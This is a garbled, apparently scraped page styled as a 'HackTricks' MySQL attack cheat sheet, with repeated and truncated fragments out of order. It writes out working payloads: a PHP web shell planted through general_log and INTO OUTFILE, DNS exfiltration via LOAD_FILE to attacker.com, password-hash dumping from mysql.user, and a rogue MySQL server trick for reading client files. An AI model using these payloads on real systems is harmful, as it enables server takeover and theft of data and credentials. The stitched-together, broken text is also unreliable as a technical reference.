Mysql Hacktricks Verified May 2026

SHOW VARIABLES LIKE 'general_log%'; SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/mysqlshell.php'; SELECT "<?php system($_GET['cmd']); ?>"; -- The query gets written to the log file as a PHP shell This is a goldmine for hacktricks users – it bypasses all file restrictions. 3.1 DNS Exfiltration (No File Write) If you can execute LOAD_FILE or SELECT but the host has no outbound internet except DNS, use DNS leaks.

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT hex(version())), '.attacker.com\\test')); If error-based or union-based injection fails, try Time-based + DNS. But for direct DB access, use the sys_exec UDF to run nslookup or curl . Part 4: Lateral Movement and Credential Harvesting 4.1 Dumping Password Hashes MySQL stores credentials in mysql.user . Hash types: mysql_native_password (SHA1-based) or caching_sha2_password (MySQL 8+). mysql hacktricks verified

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\fake.txt')); On your DNS server, monitor queries for dbname.attacker.com . SHOW VARIABLES LIKE 'general_log%'; SET GLOBAL general_log =

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'; If OUTFILE fails due to newline issues, use INTO DUMPFILE with hex: But for direct DB access, use the sys_exec

Your fake server sends a LOAD DATA LOCAL INFILE request during handshake. Vulnerable clients (e.g., old PHP mysqli with allow_local_infile=ON , MySQL Workbench, or outdated connectors) will send back any file the client user can read.

Use hex encoding to avoid illegal characters.

Not possible directly, but you can create a new user with the stolen hash if you have INSERT on mysql.user and restart privileges ( FLUSH PRIVILEGES ). 4.2 Reading Client Files (Rogue MySQL Server Attack) This is a classic but often overlooked. If you can trick an admin or app server into connecting to your malicious MySQL server, you can read arbitrary files from the client.